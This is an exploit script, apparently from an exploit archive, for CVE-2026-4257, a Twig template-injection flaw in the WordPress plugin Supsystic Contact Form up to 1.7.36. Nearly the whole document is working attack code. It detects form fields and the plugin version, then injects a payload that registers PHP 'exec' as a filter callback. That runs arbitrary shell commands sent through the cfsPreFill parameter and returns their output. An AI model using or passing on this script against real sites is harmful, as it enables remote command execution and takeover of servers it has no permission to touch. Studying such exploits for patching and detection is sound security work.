# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI
# Date: 3/30/2026
# Exploit Author: bootstrapbool
# Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
# Version: <= 1.7.36
# Tested on: Ubuntu 24 and Windows 10
# CVE : CVE-2026-4257
import argparse
import base64
import re
import requests
class status:
OKGREEN = "\033[32m"
WARNING = "\033[33m"
FAIL = "\033[31m"
ENDC = "\033[0m"
NOCOLOR = False
VERBOSE = False
@classmethod
def print(cls, message: str, status: str = None):
if cls.NOCOLOR:
print(message)
return
match status:
case "FAIL":
print(f"{cls.FAIL}{message}{cls.ENDC}")
case "WARNING":
print(f"{cls.WARNING}{message}{cls.ENDC}")
case "SUCCESS":
print(f"{cls.OKGREEN}{message}{cls.ENDC}")
case _:
print(message)
@classmethod
def vprint(cls, message: str, status: str = None):
if cls.VERBOSE:
cls.print(message, status)
def get_page(url: str) -> str:
try:
res = requests.get(url)
res.raise_for_status()
except requests.excpetions.RequestException as e:
status.print(f"Request to {url} failed with {res.status_code}")
exit(1)
if res.status_code != 200:
status.print(f"Got {res.status_code} for request to: {url}", "WARNING")
return res.text
def get_version(body: str) -> str | None:
pattern = r'suptablesui.min.css\?ver=([0-9\.]+)'
match = re.search(pattern, body)
if match:
return match.group(1)
def is_vulnerable(version: str) -> bool:
try:
major, minor, patch = map(int, version.split("."))
return (major, minor, patch) <= (1, 7, 36)
except:
status.vprint(f"Failed to parse version.", "WARNING")
def detect_version(body: str):
version = get_version(body)
vulnerable = is_vulnerable(version)
if vulnerable:
status.vprint(f"Detected version {version} is vulnerable.", "SUCCESS")
elif vulnerable != None:
status.vprint(
f"Detected version {version} is not vulnerable.",
"WARNING")
def detect_fields(body: str) -> list[str] | None:
"""Automatically attempt to get Contact Form fields to use for SSTI"""
pattern = r'data-name="([^"]+)"'
field_names = list(set(re.findall(pattern, body)))
if field_names:
status.print(f"Detected fields: {field_names}", "SUCCESS")
return field_names
def handle_field(body: str, field: str | None) -> str:
if field:
return field
fields = detect_fields(body)
if fields is not None:
status.vprint(f"Using automatically detected field: {fields[0]}")
return fields[0]
status.print("Failed to detect fields.", "FAIL")
exit(1)
def get_output(field: str, body: str) -> str | None:
pattern = rf'name="fields\[{re.escape(field)}\]"\s+value="([^"]+)"'
match = re.search(pattern, body)
if match:
return match.group(1)
def exploit(url: str, payload: str, field: str) -> str | None:
utf8_var = "{%set a%}UTF-8{%endset%}"
base64_var = "{%set b%}BASE64{%endset%}"
twig_payload = "{%set p%}" + base64.urlsafe_b64encode(payload.encode('utf-8')).decode('utf-8') + "{%endset%}"
# The () ensures the variables are not treated as string literals
twig_payload_decode = "{%set p = p|convert_encoding((a), (b))%}"
register_callback = "{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}"
exec_filter = "{{_self.env.getFilter(p)}}"
ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter
status.vprint(f"Payload: {payload}")
params = {
"cfsPreFill": 1,
field: ssti_payload}
try:
res = requests.get(url, params)
res.raise_for_status()
except requests.excpetions.RequestException as e:
status.print(f"Request to {url} failed with {res.status_code}")
exit(1)
if res.status_code != 200:
status.print(f"Got {res.status_code} for request to: {url}", "WARNING")
return get_output(field, res.text)
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"--field",
type = str,
help = ("Valid field part of the Contact Form. The defaults are "
+ "first_name, last_name, subject, message, and email. Though it's "
+ "possible for none of these fields to appear. Not all field types"
+ "work. The tested field types that are confirmed to work are"
+ "Text, Textarea, Number, Email, Time, and URL. Buttons do not "
+ "work."))
parser.add_argument(
"--no-color",
action = "store_true",
help = "If you dont want pretty colors in your output.")
parser.add_argument(
"--verbose",
"-v",
action = "store_true")
parser.add_argument(
"url",
type = str,
help = ("Full URL to page with vulnerable Contact Form component. " \
+ "Ex: http://localhost:4444/sample.php"))
parser.add_argument(
"payload",
type = str,
default = None,
help = ("Shell commands to be executed."))
args = parser.parse_args()
status.NOCOLOR = args.no_color
status.VERBOSE = args.verbose
body = get_page(args.url)
detect_version(body)
field = handle_field(body, args.field)
output = exploit(args.url, args.payload, field)
if output:
if output.lower() == field.lower():
status.print(
"Output is same as field. Maybe try a different field?",
"WARNING")
status.print(output)
else:
status.print(
f"Failed to extract output with field '{field}'",
"FAIL")
if __name__ == "__main__":
main()